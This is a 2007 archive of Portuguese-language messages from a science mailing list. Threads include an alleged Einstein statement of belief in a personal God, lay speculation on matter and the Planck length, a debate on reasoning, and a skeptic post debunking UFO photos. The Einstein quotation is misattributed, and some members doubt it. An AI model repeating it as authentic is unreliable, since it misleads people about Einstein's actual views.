>O gritou que escreví não é um gritoooou!. É um gritou fuleiro, bem
>baixinho,
>quase sussurando. Se brincar, nem isso. .
>Contudo, a bem da verdade, nunca lí em lugar nenhum que ele tenha se
>expressado do jeito postado aquí. O que ele professava
>era uma religiosidade peba, à moda de Spinoza, como bem lembrou o Bulcão.
>Quanto a "era calmo, pacífico, muito humor... "
>você tem razão.
>
>Sds,
>Victor.
>
>----- Original Message -----
>From: Silvio Cordeiro
>To: ciencialist@yahoogrupos.com.br
><mailto:ciencialist%40yahoogrupos.com.br>
>
>Sent: Monday, May 07, 2007 10:12 AM
>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>Vitor:
>
>Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era
>do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
>Sobre deus, não entro no mérito.
>
>bom dia,
>
>silvio.
>3
>----- Original Message -----
>From: J.Victor
>To: ciencialist@yahoogrupos.com.br
><mailto:ciencialist%40yahoogrupos.com.br>
>
>Sent: Sunday, May 06, 2007 9:53 PM
>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>
>Olá,
>
>Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre grave
>erro. Quem a
>pretende deduzir de minhas teorias científicas não as entendeu. Creio num
>Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>ideologia ateia.
>
>Victor: ...Também niguém é perfeito.
>
>Sds,
>
>Victor.
>
>----- Original Message -----
>From: Esteban Moreno
>To: undisclosed-recipients:
>Sent: Sunday, May 06, 2007 8:45 PM
>Subject: [ciencialist] A idéia que Einstein fazia de Deus
>
>A idéia que Einstein fazia de Deus
><http://www.ansiao.net/einstein.jpg>
>
>*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
>pretende deduzir de minhas teorias científicas não as entendeu. Creio num
>Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>ideologia ateia.
>
>Não há oposição entre a ciência e a religião.
>Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>
>Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
>mecanicista e casualista como irremediavelmente antiquadas.
>
>No interior do átomo não reinam a harmonia e a regularidade que esses
>cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
>formuladas na base de estatísticas reformáveis. Ora, essa indeterminação,
>no
>plano da matéria, abre lugar à intervenção de uma Causa, que produza o
>equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
>matéria.
>
>Há, porém, várias maneiras de se representar Deus. Alguns o representam
>como
>o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
>o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
>fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
>Outros
>o representam como o Deus jurídico, legislador e agente policial da
>moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
>Deus interior, que dirige por dentro todas as coisas e que se revela aos
>homens no mais íntimo da consciêncía.
>-
>A mais bela e profunda emoção que se pode experimentar é a sensação do
>místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
>estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
>pelo
>encantamento, não passa, em verdade, de um morto.
>
>Saber que realmente existe aquilo que é impenetrável a nós, e que se
>manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
>as nossas faculdades embotadas só podem entender em suas formas mais
>primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
>verdadeira religiosidade.
>
>A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
>pesquisa científica. Minha religião consiste em humilde admiração do
>espírito superior e ilimitado que se revela nos menores detalhes que
>podemos
>perceber em nossos espíritos frágeis e incertos. Essa convicção,
>profundamente emocional na presença de um poder racionalmente superior, que
>se revela* no* incompreensível, é a ideia que faço de Deus».*
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>----------------------------------------------------------
>
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>Version: 7.5.467 / Virus Database: 269.6.5/792 - Release Date: 6/5/2007
>21:01
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>[As partes desta mensagem que não continham texto foram removidas]
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>21:01
>
>[As partes desta mensagem que não continham texto foram removidas]
>
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>
>[As partes desta mensagem que não continham texto foram removidas]
>
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>http://www.ciencialist.com
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SUBJECT: Re: RES: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 23:01

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Oi, rapazes!
> Pergunto: e a intuição?
> obr/abr M. SP 10/mai07

Eu pergunto: cadê o botão "delete"?

Não precisam apensar *todas* as mensagens anteriores na *íntegra*...

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 23:57

Mestre Takata e JC::

Vão responder? estou curioso...

silvio.


----- Original Message -----
From: Jeff
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:02 PM
Subject: Re: [ciencialist] Re: E=m.c2


>
>A conclusão de que a matéria é uma onda
>estacionária em trajetória fechada é algo
>interessante. Contudo ela tb esbarra na
>questão do 'recipiente' ou 'anteparo' da onda.
>Ou estarei enganado? Na Teoria da Velocidade
>Absoluta, o que faz a onda de energia refletir
>para tornar-se estacionária?
>

Eu tenho uma idéia (uma "viagem") sobre isso e gostaria que o pessoal aí
analisasse. Considerem que eu não sou físico ou matemático, só um computeiro
curioso :-)

Eu *imagino* que uma partícula elementar de matéria seja um quantum de
energia pura que ficou confinado, por causa de sua baixíssima energia, numa
dimensão menor, exatamente do tamanho do comprimento de planck! Do mesmo
modo que o que confina a energia do nosso universo seria o espaço-tempo!
Assim, de acordo com a quantidade de energia do quantum, este ficaria
confinado nesta minúscula dimensão ou não (como a luz - as ondas "livres").
Penso então que as barreiras dimensionais sejam apenas a quantidade de
energia! Uma quantidade maior de energia poderia "furar" esta barreira e
navegar pelo nosso universo (teria, portanto, criado o nosso universo) e
energias muito maiores ainda poderiam "furar" o nosso universo, indo para
dimensões maiores ainda!!!

Será que "viajei" muito? :-)

Um abraço,
Jeff.






------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 00:02

Álvaro:

O fundamental é saber se essas "descobertas biográficas" são consistentes ou têm veracidade comprovada: Os mitólogos vivem avaros de novidades, normalmente em detrimento, muito raramente em homenagem aos grandes personagens de nosso mundo....

boa noite,
silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:45 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Caro Murilo,

Apenas atestei um fato, sem anexar juízo moral algum. Einstein é um dos
heróis da minha adolescência. Ainda assim, o fato de descobertas biográficas
recentes terem-no tornado mais humano é para mim um alívio, não um pesar.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Cc: <avalanchedrive@hotmail.com>
Sent: Monday, May 07, 2007 10:20 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

> Com certeza, gritava!
> A Elsa, ou um outro qualquer... deviam encher o saco... what's the deal? O
> homem estava vivo e tinha uma puta energia...
> Com certeza, até o Ghandi gritava... e daí?
> Vc não grita? Ou vc já está meio morto?
> Quem pode enquadrar esse homem, que afinal era judeu?
> O que mais ele tinha? Caspa? Quanta coisa imperdoável, não?
> abr/M.
>
>
>>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: <ciencialist@yahoogrupos.com.br>
>>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>Date: Mon, 7 May 2007 13:31:51 -0300
>>
>>De acordo com Elsa Einstein, quando Albert gritava a casa inteira ouvia...
>>
>>[ ]s
>>
>>Alvaro Augusto
>>
>>
>>----- Original Message -----
>>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>>To: <ciencialist@yahoogrupos.com.br>
>>Sent: Monday, May 07, 2007 10:12 AM
>>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>
>>
>>Vitor:
>>
>>Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era
>>do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
>>Sobre deus, não entro no mérito.
>>
>>bom dia,
>>
>>silvio.
>>3
>> ----- Original Message -----
>> From: J.Victor
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Sunday, May 06, 2007 9:53 PM
>> Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>
>>
>> Olá,
>>
>> Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre
>>grave erro. Quem a
>> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>>num
>> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>> ideologia ateia.
>>
>> Victor: ...Também niguém é perfeito.
>>
>> Sds,
>>
>> Victor.
>>
>> ----- Original Message -----
>> From: Esteban Moreno
>> To: undisclosed-recipients:
>> Sent: Sunday, May 06, 2007 8:45 PM
>> Subject: [ciencialist] A idéia que Einstein fazia de Deus
>>
>> A idéia que Einstein fazia de Deus
>> <http://www.ansiao.net/einstein.jpg>
>>
>> *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
>> pretende deduzir de minhas teorias científicas não as entendeu. Creio
>>num
>> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
>> ideologia ateia.
>>
>> Não há oposição entre a ciência e a religião.
>> Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>>
>> Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
>> mecanicista e casualista como irremediavelmente antiquadas.
>>
>> No interior do átomo não reinam a harmonia e a regularidade que esses
>> cientistas costumam pressupor. Nele se depreendem apenas leis
>> prováveis,
>> formuladas na base de estatísticas reformáveis. Ora, essa
>>indeterminação,
>>no
>> plano da matéria, abre lugar à intervenção de uma Causa, que produza o
>> equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias
>>da
>> matéria.
>>
>> Há, porém, várias maneiras de se representar Deus. Alguns o representam
>>como
>> o Deus mecânico, que intervém no mundo para modificar as leis da
>>natureza
>>e
>> o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
>> fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos.
>>Outros
>> o representam como o Deus jurídico, legislador e agente policial da
>> moralidade, que impõe o medo e estabelece distâncias. Outros, enfim,
>>como
>>o
>> Deus interior, que dirige por dentro todas as coisas e que se revela
>> aos
>> homens no mais íntimo da consciêncía.
>> -
>> A mais bela e profunda emoção que se pode experimentar é a sensação do
>> místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
>> estranha tal sensação, aquele que não mais possa sonhar e ser empolgado
>>pelo
>> encantamento, não passa, em verdade, de um morto.
>>
>> Saber que realmente existe aquilo que é impenetrável a nós, e que se
>> manifesta como a mais alta das sabedorias; a mais radiosa das belezas,
>>que
>> as nossas faculdades embotadas só podem entender em suas formas mais
>> primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
>> verdadeira religiosidade.
>>
>> A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
>> pesquisa científica. Minha religião consiste em humilde admiração do
>> espírito superior e ilimitado que se revela nos menores detalhes que
>>podemos
>> perceber em nossos espíritos frágeis e incertos. Essa convicção,
>> profundamente emocional na presença de um poder racionalmente superior,
>>que
>> se revela* no* incompreensível, é a ideia que faço de Deus».*
>>
>> [As partes desta mensagem que não continham texto foram removidas]
>>
>> [As partes desta mensagem que não continham texto foram removidas]






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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/05/2007 00:16

Do q sabemos, uma partícula tem um "tamanho" bem maior do q um
comprimento de Planck. Nas dimensões planckianas, o espaço-tempo, pelo
que sabemos, seria altamente convoluto com sua geometria mudando
continuamente e de modo descontínuo e abrupto - enfim, um cenário nada
agradável para uma partícula, especialmente se ela quiser manter suas
características intactas ao longo do tempo e do espaço.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Mestre Takata e JC::
>
> Vão responder? estou curioso...
>
> silvio.
>
>
> ----- Original Message -----
> From: Jeff
>
> Eu tenho uma idéia (uma "viagem") sobre isso e gostaria que o
> pessoal aí analisasse. Considerem que eu não sou físico ou
> matemático, só um computeiro curioso :-)
>
> Eu *imagino* que uma partícula elementar de matéria seja um
> quantum de energia pura que ficou confinado, por causa de sua
> baixíssima energia, numa dimensão menor, exatamente do tamanho do
> comprimento de planck!




SUBJECT: Re: O Que é Raciocinar? ::: (artigo)
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/05/2007 00:19

Olá, Ferrari.

> Ou seja, raciocinar é
> fazer ondas na matéria (no meio) que se propagam com o
> tempo.

Uau! Você foi longe. Deep stuff. Mas você ignorou completamente a
linguagem, que é o elemento realmente incrível em tudo isso.

Saudações.
João de Carvalho




SUBJECT: Nave extraterrestre fotografada no quintal
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/05/2007 06:19

Nave extraterrestre fotografada no
quintal<http://www.ceticismoaberto.com/news/?p=878>

<http://www.coasttocoastam.com/gen/page2022.html>
Clique na imagem para ver a s�rie completa no s�tio do programa C2C. Se as
imagens parecerem inacredit�veis, � porque voc� n�o leu a hist�ria:

No m�s passado (abril 2007), minha mulher e eu est�vamos passeando quando
notamos uma "nave" muito grande e muito estranha no c�u. Minha mulher tomou
a imagem com seu celular (primeira foto abaixo). *Dias depois um amigo (e
vizinho) me emprestou sua c�mera e foi comigo para tirar fotos desta "nave".
N�s a encontramos e tiramos uma s�rie de fotos muito claras. *A foto 4 foi
tomada diretamente abaixo desta coisa e devo dar cr�dito ao meu amigo j� que
eu n�o tive coragem o bastante para me aproximar e tirar esta for por mim
mesmo! A nave � quase completamente silenciosa e se move bem suavemente.
Geralmente se move devagar at� que decide decolar. Ent�o se move MUITO
r�pido e sai de vista em um piscar de olhos. Mais do que qualquer coisa eu
quero entender o que � isto e por que est� aqui? (�) *Local: Eu prefiro n�o
dizer por enquanto.*

Sim, "Chad", que n�o quer dizer onde tirou as fotografias, encontrou esta
nave completamente tantalizante no c�u com sua mulher. Tiraram UMA
fotografia com o celular e foram embora. Ao inv�s de chamar as autoridades,
imprensa, Chad pediu a c�mera do vizinho emprestada, o vizinho foi junto e,
ao retornar ao local� encontraram novamente a nave e tomaram mais fotos! Mas
esta n�o � toda a hist�ria:

Obrigado mesmo por publicar minhas fotos! Espero que algu�m me ajude a
identificar isto� Primeiro, *eu vejo esta coisa com MUITA freq��ncia*. Desde
que apareceu primeiro, *eu provavelmente a vi umas oito vezes*. Meu amigo e
eu fomos no dia seguinte �s primeiras fotos, mas n�o estava l�. Ent�o
tentamos no pr�ximo dia, e o encontramos em meia hora e o seguimos por um
tempo. A maior parte do tempo *eu vejo a coisa das janelas de minha casa*, �
dist�ncia, mas diria que quase metade das vezes em que fiu passear na �rea
perto de minha casa, eu vi o objeto em proximidade. *� muito f�cil de
fotografar e� muitos vizinhos al�m de meu amigo tamb�m o viram.* (�)

Se Chad realmente quisesse saber o que o objeto seria, bastaria dizer onde
diabos mora. Ou que seus vizinhos alertassem a imprensa, claro. � uma pena
que sua capacidade de inventar hist�rias n�o seja t�o boa quanto a de forjar
fotos, porque estas fotos s�o muito boas. Apesar de terem um pouco do que �
quase Klingon <http://en.wikipedia.org/wiki/Klingon_language>:

Se a nave � um modelo puramente digital, a tentativa de reproduzir o
desfoque na imagem tomada pelo celular n�o foi t�o feliz, mas a forma como
se mescla com o cen�rio, principalmente com o c�u obliterado ao fundo, foi
muito bem-feita. Ou nem tanto. Na �ltima imagem, um detalhe da nave
tem *exatamente
a mesma cor que o c�u � sua volta* (a cor, em valores hexadecimais, � *
ccffff*). Qual foi a �ltima vez em que voc� viu algum avi�o branco ficar
azul apenas porque era um dia claro e ensolarado? Este n�o parece um efeito
da c�mera Photoshop<http://www.ceticismoaberto.com/ufologia/camera_photoshop.htm>.
Seria Photoshop mesmo.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Extraterrestres <http://www.ceticismoaberto.com/news/?cat=10>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=878#respond>

*Posts relacionados:*
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=504>Nave-m�e N�o sei mais
detalhes sobre a imagem,...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=383>Shazam! Marc Laidlaw teria
fotografado o momento...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=525> La
Nave de los Locos No. 29 J� saiu o n�mero m...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=598>Lenticular Photoshop?
Acredito que n�o. Atualiz...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=509>Fotografia de um ser
Extraterrestre! ;-) Do F�r...


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SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/05/2007 07:56

Luiz Ferraz Netto >>> Interessante, hoje estava
jogando pedrinhas no centro da piscina para meu
sobrinho ver as ondas na matéria (no meio) se
propagando com o tempo. Ai ele me perguntou o que eu
estava fazendo e respondi: Estou raciocinando!

--- Embora esteja sendo ironico, a história e útil.
Observe: para jogar pedrinhas no centro da piscina seu
cérebro precisou funcionar, não precisou? Ou seu corpo
se movimenta aleatóriamente?

--- Sim, entre seu raciocinio, o movimento do seu
corpo e as ondas na piscina tem todo um processo a ser
estudado e compreendido, assim como tem entre o que
estava raciocinando (ao escrever) e voce está agora
(ao ler), mas...

--- Que as ondas na piscina foram causadas da
interação do movimento do seu corpo com o meio, isto é
evidente, concorda?

--- Sendo assim, a resposta ficaria mais explicada
assim: Estou raciocinando e meu corpo está agindo
conforme meu raciocinio. O que vc está vendo na
piscina é fruto da interação do meu corpo com o meio.
Ou seja, uma consequencia do meu raciocinio.




sinceramente
ferrari



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SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/05/2007 08:22

Olá Homero!

> Pois eu vi ontem à noite na TV um baterista de rock
> "raciocinando" como louco, ao bater em seu
> instrumento, e produzir ondas de ar adoidado..:-)
> Afinal, "raciocinar é fazer ondas na matéria (no
> meio) que se propagam"..:-)

--- Outro bom exemplo! Como tocar bateria sem um
cérebro controlando os movimentos do corpo? Como
manter o ritmo sem um cérebro controlando os
movimentos do corpo? É possivel?

--- E o mais interessante neste exemplo, é que musica
(a parte do ritmo), é divisão temporal. Ou seja, o
cérebro de um baterista é um cérebro perito em fazer
ondas temporais no meio.

--- Vou aproveitar o exemplo e contar um história
interessante sobre o raciocinio, as ondas e a musica.

--- Sou musico. E tenho alguns amigos musicos. Um
deles, certa vez, foi estudar violão numa escola de
São Paulo especializada em Swing. Pra ilustrar, um dos
idolos do professor da escola é o Jorge Benson. Bem, a
primeira coisa estranha que descobri sobre esta escola
é que meu amigo foi estudar violão e teve que aprender
a tocar bateria primeiro. Passou um tempão estudando
bateria antes de pegar no violão. Segundo o professor
desta escola, para ser um bom musico, primeiro é
preciso dominar o raciocinio ritmico pra depois
dominar o raciocinio melódico. A segunda coisa
estranha aconteceu no dia em que meu amigo me levou
pra conhecer a escola. A escola tinha um ambiente
muito agravavel, todo mundo ali gostava muito daquela
filosofia de estudo, mas os violões eram um lixo. Eram
uns violões ruins e detonados. Peguei um pra tocar e
achei aquilo muito estranho. Perguntei pro meu amigo e
ele falou que aquilo era proposital. Quando tive a
oportunidade de conversar com o professor dele,
perguntei dos violões. E o cara me fez ver algo que
nunca mais me esqueci, ele disse: "voce toca violão
com a mão ou com a mente? de onde vem a sua musica, do
violão?".



sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: O Que é Raciocinar? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/05/2007 08:31

Olá João!

João >>> Uau! Você foi longe. Deep stuff.

--- Pra quem está aberto a ouvir. Pra quem não está,
ficou no mesmo lugar.

João >>> Mas você ignorou completamente a linguagem,
que é o elemento realmente incrível em tudo isso.

--- Sobre linguagem (cerebral) estava falando um pouco
antes, quando falo das regras de codificação e
decodificação. Como são várias, tem muito a ser
estudado. Se vc quiser conversar sobre isto. Estou a
disposição. Por exemplo, o que lhe chama mais a
atenção na questão da linguagem?



sinceramente
ferrari












--- Joao de Carvalho <joaobncarvalho@hotmail.com>
escreveu:

> Olá, Ferrari.
>
> > Ou seja, raciocinar é
> > fazer ondas na matéria (no meio) que se propagam
> com o
> > tempo.
>
> Uau! Você foi longe. Deep stuff. Mas você ignorou
> completamente a
> linguagem, que é o elemento realmente incrível em
> tudo isso.
>
> Saudações.
> João de Carvalho
>
>
>




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SUBJECT: : Nova Enciclopédia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <paucor@superig.com.br>, "Fernanda" <fernanda.brsc@gmail.com>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 11/05/2007 10:36





Enciclopédia online listará todos seres vivos
Quarta-feira, 09 de maio de 2007 - 09h20
SÃO PAULO - Um grupo planeja criar uma enciclopédia online com dados de todas as espécies vidas da Terra.


O grupo reúne museus e fundações científicas de vários países e anunciou investimentos de US$ 100 milhões para construir a "Enciclopédia da Vida".


A idéia é reunir num portal informações sobre todas as espécies de plantas, animais e microorganismos vivos conhecidos pela ciência.


A EOL (Encyclopedia of Life) espera publicar, numa primeira fase, dados sobre 1,8 milhão de seres vivos. Posteriormente, a EOL planeja atingir uma marca entre oito e dez milhões de verbetes.


O projeto não permitirá contribuições dos usuários, como ocorre com a Wikipedia. A base de dados será construída por pesquisadores contratados pela EOL. Atualmente, 35 pesquisadores trabalham no projeto, que já está no ar, porém em fase de construção.


A EOL não divulgou planos de disponibilizar verbetes além da lingua inglesa nesta primeira fase do projeto. Colaboram para a EOL a Universidade de Harvard, o Laboratório Biológico da Marinha americana, Missouri Botanical Garden, Smithsonian Institution e a Royal Botanic Garden, da Inglaterra.

Felipe Zmoginski, do Plantão INFO

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 11:43

Será que o elétron é elementar mesmo?

Bom, eu imagino que este comprimento de planck possa ser, justamente, uma
barreira dimensional, o que daria o aspecto de "solidez" da matéria, da
partícula elementar. Esta energia seria tão baixa que ficaria como num
"loop" dentro desta dimensão. Já um "quantum" mais energético, que
extrapolaria esta dimensão, seria a energia livre, as forças elementares.

A matéria sozinha não teria movimento, não existiria o nosso tempo, a não
ser "dentro" desta. A matéria seria então apenas uma a barreira dimensional,
um valor de energia que marca o fim de uma dimensão menor. O nosso universo
(o nosso tempo) passaria a existir no momento em que aparece esta nossa
energia livre (vinda de "dentro" da matéria, mas sei lá porque), que
extrapola esta dimensão menor e movimentaria a matéria que sobrou. A matéria
já existiria então "antes" do big-bang e estaria em "todo" o universo (que
seria um "ponto"). Assim, toda a matéria do nosso universo seria estilhaços
da "explosão" de uma barreira dimensional. Daí em diante, a matéria que
sobrou e esta energia livre interegiriam, de acordo com a mecânica quântica,
criando tudo o que existe. Veja que eu não estou violando a lei da
conservação da energia do nosso universo *a partir* da sua criação.

Da mesma forma, imagino que o nosso universo também poderia, ainda, estar
"confinado" entre esta dimensão menor e outra maior! Onde as barreiras
seriam apenas certas quantidades de energia.

Isso é uma "viagem" minha mas, quem também acha que faz sentido, põe o dedo
aqui! :-) Opa, no bom sentido... Quem acha que não faz sentido, por favor,
me aponte os problemas! Acho legal "viajar" numa idéia, mas não em cima de
erro, claro.

[]´,s
Jeff.

>
>Do q sabemos, uma partícula tem um "tamanho" bem maior do q um
>comprimento de Planck. Nas dimensões planckianas, o espaço-tempo, pelo
>que sabemos, seria altamente convoluto com sua geometria mudando
>continuamente e de modo descontínuo e abrupto - enfim, um cenário nada
>agradável para uma partícula, especialmente se ela quiser manter suas
>características intactas ao longo do tempo e do espaço.
>
> []s,
>
>Roberto Takata
>
>> From: Jeff
>>
>> Eu tenho uma idéia (uma "viagem") sobre isso e gostaria que o
>> pessoal aí analisasse. Considerem que eu não sou físico ou
>> matemático, só um computeiro curioso :-)
>>
>> Eu *imagino* que uma partícula elementar de matéria seja um
>> quantum de energia pura que ficou confinado, por causa de sua
>> baixíssima energia, numa dimensão menor, exatamente do tamanho do
>> comprimento de planck!
>>



SUBJECT: transcrevo:
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, <paucor@superig.com.br>, <noosfera_II@yahoogrupos.com.br>, Inovação Tecnológica <eboletim@inovacaotecnologica.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>
DATE: 11/05/2007 12:40

Ministro de Minas e Energia garante: Angra 3 vai sair

Ministro Silas Rondeau diz que a decisão sobre quando a usina será construída deverá ser tomada pelo CNPE em junho

Leonardo Goy escreve para "O Estado de SP":

A usina nuclear de Angra 3 vai ser construída, afirmou o ministro de Minas e Energia, Silas Rondeau, nesta quarta-feira.

"A questão é definir quando", acrescentou, durante seminário sobre energias renováveis promovido pela Câmara dos Deputados. A decisão final sobre a construção de Angra 3 deverá ser tomada pelo Conselho Nacional de Política Energética (CNPE), que deverá se reunir em junho.

O tema divide o governo. Além de Rondeau, o ministro da Ciência e Tecnologia, Sergio Rezende, e a ministra-chefe da Casa Civil, Dilma Rousseff, são a favor do projeto.

Há, porém, oposição da ministra do Meio Ambiente, Marina Silva. O CNPE também poderá discutir o dilema entre a construção de usinas hidrelétricas e a proteção ao meio ambiente.

O ministro lembrou que para tomar a decisão sobre Angra 3 será necessário adequar a legislação do setor elétrico de forma a definir como será vendida a energia produzida pela usina.

Ele ressaltou que as usinas nucleares de Angra 1 e 2 foram construídas numa época em que o modelo era totalmente estatal.

Angra 3, por ser uma usina nuclear, terá de ser construída pelo governo. A questão pendente é como a energia dela será ofertada. "Não pode ser por leilão, pois é uma obra do governo. Então temos de adequar à legislação", disse ele.

Indagado se o Banco Nacional de Desenvolvimento Econômico e Social (BNDES) financiaria parte da construção de Angra 3, Rondeau disse que não sabe, mas presume que sim.

Biodiesel

Rondeau disse, ainda, que, desde o fim de abril, o País tem capacidade de produzir o biodiesel necessário para garantir a mistura de 2% em todo o diesel vendido no país. Essa exigência entrará em vigor em 2008.

A capacidade total do país foi ultrapassada, com segurança, com a autorização, em 30 de abril, para que a usina da Brasil Ecodiesel, em São Luiz, entre em operação. Essa usina tem capacidade de produzir 108 milhões de litros por ano.

Com isso, a capacidade total do País chega a 962 milhões de litros por ano, superando, com folga, os 840 milhões de litros necessários para que a mistura de 2% possa começar a partir do ano que vem.
(O Estado de SP, 10/5)


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Informação
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 12:45

E ... o que respondo?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "luiz Claudio da Silva souza" <luizsouzaluiz@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: quinta-feira, 10 de maio de 2007 15:51
Assunto: Informação


|
|
| Professor , gostaria de saber qual é a tensão elétrica do corpo do homem e
| da mulher?
|
| Aguardo resposta.
|
| Luiz
|
| _________________________________________________________________
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|
|
|
| --
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|
|


SUBJECT: Fw: Dúvida sobre a composição do suor humano
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 12:49

Mestres em suor ... fico no aguardo dessa resposta.
Se o suor vier bem detalhado (e de preferência com alguma 'curiosidade') poderei implementar meu artigo Frio .. Calor .. Suor que está em:
http://www.feiradeciencias.com.br/sala08/08_40.asp

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "frederico.ferrari" <frederico.ferrari@uol.com.br>
